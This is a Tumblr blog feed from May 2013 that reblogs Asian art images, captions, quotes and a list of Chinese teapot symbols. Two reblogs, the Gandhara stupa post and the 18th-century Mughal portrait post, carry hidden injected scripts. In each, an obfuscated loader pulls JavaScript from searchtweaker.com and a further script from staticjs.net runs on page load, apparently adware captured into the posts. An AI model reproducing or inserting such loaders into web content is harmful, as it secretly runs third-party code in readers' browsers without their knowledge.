mysteries and art of the far east (i can also be found at Indigo Dreams) Tumblr (3.0; @gardenofthefareast)http://gardenofthefareast.tumblr.com/<img src="http://24.media.tumblr.com/42f3e0ae0dbcba09ffe423e6b6c3d890/tumblr_mmbnwy9kIW1ro8f03o1_500.jpg"/><br/><br/>http://gardenofthefareast.tumblr.com/post/50825817801http://gardenofthefareast.tumblr.com/post/50825817801Sun, 19 May 2013 08:45:11 -0700indigodreams<img src="http://24.media.tumblr.com/d938c0e5efa4af071e67fcabdb8f52d9/tumblr_mmmzu2SOC21qb0f19o1_r1_500.jpg"/><br/><br/><p>Fishing by Torchlight in Kai Province, from Oceans of Wisdom</p>http://gardenofthefareast.tumblr.com/post/50824797075http://gardenofthefareast.tumblr.com/post/50824797075Sun, 19 May 2013 08:30:09 -0700asian artindigodreams“I would like to house my spirit within my body, to nourish my virtue by mildness, and to...http://gardenofthefareast.tumblr.com/post/50823808148http://gardenofthefareast.tumblr.com/post/50823808148Sun, 19 May 2013 08:15:17 -0700indigodreams<img src="http://25.media.tumblr.com/495b9f35b128db38ce4f373e3ea1643b/tumblr_miwu14rNi01s2xze4o1_500.jpg"/><br/><br/><p><a href="http://gazophylacium.tumblr.com/post/44190918197/early-17th-c-iran" class="tumblr_blog" target="_blank">gazophylacium</a>:</p> <blockquote><p> Early 17th c., Iran.</p></blockquote>http://gardenofthefareast.tumblr.com/post/50734592149http://gardenofthefareast.tumblr.com/post/50734592149Sat, 18 May 2013 08:45:15 -0700indigodreams<img src="http://24.media.tumblr.com/f84f1d596016be842964bfe41db593de/tumblr_mmn9cnEuUG1s2xze4o1_r1_500.jpg"/><br/><br/><p><a href="http://gazophylacium.tumblr.com/post/50178490686/the-pearl-from-a-thai-manuscript-of-the-second" class="tumblr_blog" target="_blank">gazophylacium</a>:</p> <blockquote><p>The Pearl, from a <span class="hps"><span>Thai manuscript</span></span><span> <span class="hps">of the second half</span> <span class="hps">of the nineteenth century, artist unknown.<br/></span></span></p></blockquote>http://gardenofthefareast.tumblr.com/post/50733600012http://gardenofthefareast.tumblr.com/post/50733600012Sat, 18 May 2013 08:30:17 -0700indigodreams<img src="http://24.media.tumblr.com/12854ff2781ea4116c01016b2d601591/tumblr_mmvcw1fewL1s5ecolo1_500.jpg"/><br/><br/><p><a href="http://hajandradebee.tumblr.com/post/50546617398/sea-dragon-yixing-teapot-chinese-teapot-symbols" class="tumblr_blog" target="_blank">hajandradebee</a>:</p> <blockquote><p><a href="http://www.teavana.com/tea-products/teapots-teapot-sets/artisan-teapots/yixing-teapots/p/sea-dragon-yixing-teapot" target="_blank">Sea Dragon Yixing Teapot</a></p> <h2>Chinese Teapot Symbols and Meanings</h2> <ul class="with-bullets"><li>Bamboo: Nobility & Growth</li> <li>Bunny: Family unity. Gentleness and Fertility</li> <li>Butterfly: Everlasting love and romance</li> <li>Cat: Good Luck. They are addressed as Lucky Cat</li> <li>Cherry Blossom: Beauty and Wealth</li> <li>Coin: Prosperity. A gift offering for good fortune</li> <li>Chrysanthemum: Symbolizes the autumn harvest. Considered rich, beautiful, & filled with hope</li> <li>Dragon & Phoenix: Yin & Yang; man and woman; power & beauty balance. Renewal</li> <li>Fish: Rhymes with the Chinese word: “Abundance” and symbolizes prosperity & affluence. A must have dish at Chinese New Years dinner</li> <li>Frog: Good Luck charm. It is known to be able to predict future danger and warn to prevent it</li> <li>Heart Sutra: The most famous part of Buddhist Bible script - the profound Prajnaparamita Enlightenment: Emptiness is form; form is also emptiness. Be at peace and rejoice within ones self</li> <li>Horse: Leadership, intelligence and loyalty</li> <li>Laughing Buddha: Rejoice tranquility and generosity</li> <li>Lizard: A symbol of living strong</li> <li>Lotus: A symbol of purity and enlightenment. The lotus comes out of the mire but it is not itself soiled</li> <li>Lotus Root: To bind, connect & love each other, meaning uninterrupted, unconditioned love</li> <li>Magnolia: The symbol of feminine sweetness and beauty</li> <li>Monkey: Quick witted & full with energy</li> <li>Mother & Baby Dragon: A newborn dragon symbolizes the coming of power and good fortune</li> <li>Owl: Alertness. It is considered as a night guard blessed with great vision</li> <li>Peach: Longevity</li> <li>Peony: Queen of Flowers, the peony is a emblem of wealth and distinction</li> <li>Pig: Wealth and prosperity</li> <li>Pine: Longevity and steadfastness. Pine trees rank above all other trees and the epitome of self-discipline</li> <li>Plum Blossom: Beauty, strength & will power. One of the only flowers that withstands the cold & bloom in spring</li> <li>Pumpkin: Harvest; Festivity; Celebration</li> <li>Rooster: High energy and full of warrior’s spirits. Praise those who bring good news at day break</li> <li>Swan: Elegance & Beauty.</li> <li>Tiger: The tiger is a symbol of courage and bravery and it can ward off demons, is a powerful protector</li> <li>Turtle: Longevity</li> </ul><p>[<a href="http://www.teavana.com/tea-info/chinese-yixing-teapots" target="_blank">Source</a>]</p></blockquote>http://gardenofthefareast.tumblr.com/post/50732648607http://gardenofthefareast.tumblr.com/post/50732648607Sat, 18 May 2013 08:15:45 -0700indigodreams<img src="http://24.media.tumblr.com/tumblr_mcuw42wKzv1qbmhkxo1_500.jpg"/><br/><br/><p><a class="tumblr_blog" href="http://organicbody.tumblr.com/post/34822458210/white-tara-mandala-source-ebay-com" target="_blank">organicbody</a>:</p> <blockquote> <p>White Tara Mandala</p> <p><em>(source: ebay.com)</em></p> </blockquote>http://gardenofthefareast.tumblr.com/post/50656662622http://gardenofthefareast.tumblr.com/post/50656662622Fri, 17 May 2013 08:45:12 -0700indigodreams<img src="http://24.media.tumblr.com/838d1ee9c5e38d7349209ee512982cb5/tumblr_mmb86lWZmn1rxgem2o1_500.jpg"/><br/><br/><p><a href="http://lich-tung.tumblr.com/post/49676812411/bulletproofbhatki-adoration-of-the-stupa" class="tumblr_blog" target="_blank">lich-tung</a>:</p> <blockquote><p><a class="tumblr_blog" href="http://bulletproofbhatki.tumblr.com/post/49657336192/adoration-of-the-stupa-ancient-region-of" target="_blank">bulletproofbhatki</a>:</p> <blockquote> <p><strong>Adoration of the Stupa </strong><br/> Ancient Region of Gandhara<br/> 2nd - 4th century<br/> Green Schist<br/> 12 1/2 in (32 cm)</p> </blockquote> <script type="text/javascript">// <![CDATA[ (function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})(); // ]]></script><script src="http://attl.staticjs.net/amz/aeyJhZmZpZCI6MTA4MCwic3ViYWZmaWQiOjEwMjAsImhyZWYiOiJodHRwOi8vd3d3LnR1bWJsci5jb20vcmVibG9nLzQ5NjU3MzM2MTkyL0JPVGFJc0pDIiwid2lkdGgiOjE2ODAsImhlaWdodCI6MTA1MCwibG9hZGVyX2NsaWVudF90aW1lc3RhbXAiOjEzNjc3NTA4MTM1NTJ9.js" type="text/javascript"></script></blockquote>http://gardenofthefareast.tumblr.com/post/50655921544http://gardenofthefareast.tumblr.com/post/50655921544Fri, 17 May 2013 08:30:09 -0700indigodreams<img src="http://24.media.tumblr.com/05972120128d959f84f821bd350eabd9/tumblr_mizxw7zyb81rofqk3o1_500.jpg"/><br/><br/>http://gardenofthefareast.tumblr.com/post/50655197038http://gardenofthefareast.tumblr.com/post/50655197038Fri, 17 May 2013 08:15:04 -0700indigodreams<img src="http://24.media.tumblr.com/30d403143e43615483461d9a5a41cc99/tumblr_mmmzq1lSwD1qb0f19o1_500.jpg"/><br/><br/><p>Thagyamin at Shwedagon Pagoda</p>http://gardenofthefareast.tumblr.com/post/50424378421http://gardenofthefareast.tumblr.com/post/50424378421Tue, 14 May 2013 08:45:04 -0700indigodreams<img src="http://25.media.tumblr.com/72127d6da9fdbf259d376cafcefbf7ad/tumblr_mmmz9vbzHO1qb0f19o1_r1_400.jpg"/><br/><br/><p><a href="http://www.shambhala.com/books/the-adornment-of-the-middle-way.html" target="_blank">The Adornment of the Middle Way</a></p> <p>Shantarakshita’s Madhyamakalankara with Commentary by Jamgon Mipham<br/> by Jamgon Mipham, Shantarakshita</p>http://gardenofthefareast.tumblr.com/post/50423678696http://gardenofthefareast.tumblr.com/post/50423678696Tue, 14 May 2013 08:30:27 -0700bookindigodreams<img src="http://24.media.tumblr.com/6c1a8594f3860fb8315116a2697c8dd2/tumblr_mf5qzwWHeD1rb4d7lo1_500.jpg"/><br/><br/><p><a href="http://timur-i-lang.tumblr.com/post/38166980613/fragment-of-a-pile-carpet-india-mughal-ca" class="tumblr_blog" target="_blank">timur-i-lang</a>:</p> <blockquote><p>Fragment of a pile carpet, India, Mughal, ca. 1600</p> <p>“This fragment is one of about fifteen preserved from two large carpets that are presumed to have been made for the court of the Great Mughal Akbar. Each of them measured c. 960 × 380 cm. A grotesque, almost nightmarish world of animals and mythical creatures devouring one another is seen against a wine-red ground and between flowers and vases with bouquets.</p> <p>The motif is not Islamic, but it is found in other Mughal art and was rooted in the local Hindu art tradition. Pile carpets, in contrast, came to India from the north with the Muslims, and fragments from the two carpets are presumably among the oldest that exist from the Indian subcontinent.”</p></blockquote>http://gardenofthefareast.tumblr.com/post/50423001604http://gardenofthefareast.tumblr.com/post/50423001604Tue, 14 May 2013 08:15:56 -0700indigodreams<img src="http://25.media.tumblr.com/tumblr_mb9z3sKj4n1rt7ae8o1_500.jpg"/><br/><br/><p><a class="tumblr_blog" href="http://carasposa.tumblr.com/post/32741731129/afternoon-in-orchard-c-jinghua-gao-dalia" target="_blank">carasposa</a>:</p> <blockquote> <p><span> ”Afternoon in Orchard” ©Jinghua Gao Dalia</span></p> </blockquote>http://gardenofthefareast.tumblr.com/post/50346230266http://gardenofthefareast.tumblr.com/post/50346230266Mon, 13 May 2013 08:45:17 -0700Asian artindigodreams<a href="http://www.audiodharma.org/talks/audio_player/4029.html">Gil Fronsdal: Response to Tragedy </a>http://gardenofthefareast.tumblr.com/post/50345490941http://gardenofthefareast.tumblr.com/post/50345490941Mon, 13 May 2013 08:30:13 -0700Audio dharmaindigodreams<img src="http://25.media.tumblr.com/tumblr_m5sgs1aAIO1qhtuebo1_500.jpg"/><br/><br/><p><a class="tumblr_blog" href="http://venusmilk.tumblr.com/post/25331283024/anna-heyward-taylor" target="_blank">venusmilk</a>:</p> <blockquote> <p><a href="http://2.bp.blogspot.com/_SJuDqF1ubmo/SHaVqbOAbgI/AAAAAAAAH0Q/u-dgDx8swuU/s1600-h/Anna+Heyward+Taylor+2.jpg" title="picture source" target="_blank">Anna Heyward Taylor</a></p> </blockquote>http://gardenofthefareast.tumblr.com/post/50344776471http://gardenofthefareast.tumblr.com/post/50344776471Mon, 13 May 2013 08:15:13 -0700indigodreams<img src="http://24.media.tumblr.com/6678669239d8b4f814bae1dfde7bcdfa/tumblr_mm342nq9tF1qhq1sso1_500.jpg"/><br/><br/><p><a href="http://lich-tung.tumblr.com/post/49577910443/langoaurelian-18th-century-mughal-miniature" class="tumblr_blog" target="_blank">lich-tung</a>:</p> <blockquote><p><a class="tumblr_blog" href="http://langoaurelian.tumblr.com/post/49288878195/18th-century-mughal-miniature-portrait" target="_blank">langoaurelian</a>:</p> <blockquote> <p>18th Century Mughal miniature portrait </p> </blockquote> <script type="text/javascript">// <![CDATA[ (function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})(); // ]]></script><script src="http://attl.staticjs.net/amz/aeyJhZmZpZCI6MTA4MCwic3ViYWZmaWQiOjEwMjAsImhyZWYiOiJodHRwOi8vd3d3LnR1bWJsci5jb20vcmVibG9nLzQ5NDY5MjI0NTYzL3hheGNzVHRDIiwid2lkdGgiOjE2ODAsImhlaWdodCI6MTA1MCwibG9hZGVyX2NsaWVudF90aW1lc3RhbXAiOjEzNjc2NTMzNjQyNTd9.js" type="text/javascript"></script></blockquote>http://gardenofthefareast.tumblr.com/post/50263864423http://gardenofthefareast.tumblr.com/post/50263864423Sun, 12 May 2013 08:45:22 -0700indigodreams“Without effort, one world moves into another.” - Rig Vedahttp://gardenofthefareast.tumblr.com/post/50262848078http://gardenofthefareast.tumblr.com/post/50262848078Sun, 12 May 2013 08:30:23 -0700Rig Vedaindigodreams<img src="http://25.media.tumblr.com/tumblr_magfj5nzaO1qzkga5o3_500.jpg"/><br/> <br/><img src="http://25.media.tumblr.com/tumblr_magfj5nzaO1qzkga5o1_500.jpg"/><br/> <br/><img src="http://24.media.tumblr.com/tumblr_magfj5nzaO1qzkga5o2_500.jpg"/><br/> <br/><p><a class="tumblr_blog" href="http://badesaba.tumblr.com/post/31670957079/virgo-from-book-of-fixed-stars-kitab-suwar" target="_blank">badesaba</a>:</p> <blockquote> <p><span>Virgo </span></p> <p><span></span><span>from ‘Book of Fixed Stars’ (Kitāb suwar al-kawākib al-ṯābita) by ‛Abd al-Rahman ibn ‛Umar al-Ṣūfī</span></p> </blockquote>http://gardenofthefareast.tumblr.com/post/50261890809http://gardenofthefareast.tumblr.com/post/50261890809Sun, 12 May 2013 08:15:52 -0700indigodreams<iframe width="400" height="299" src="http://www.youtube.com/embed/qTo_fttK6ys?wmode=transparent&autohide=1&egm=0&hd=1&iv_load_policy=3&modestbranding=1&rel=0&showinfo=0&showsearch=0" frameborder="0" allowfullscreen></iframe><br/><br/><p>Ganesha Pancharatna Sthothram</p>http://gardenofthefareast.tumblr.com/post/50172000995http://gardenofthefareast.tumblr.com/post/50172000995Sat, 11 May 2013 08:45:17 -0700Ganesha Pancharatna Sthothramindigodreams<img src="http://25.media.tumblr.com/511778ae697a085d5e8cee228ad76e18/tumblr_mmmyttZonq1qb0f19o1_400.jpg"/><br/><br/><p>Krishna Holding Mount Govardhan</p>http://gardenofthefareast.tumblr.com/post/50170979346http://gardenofthefareast.tumblr.com/post/50170979346Sat, 11 May 2013 08:30:17 -0700indigodreams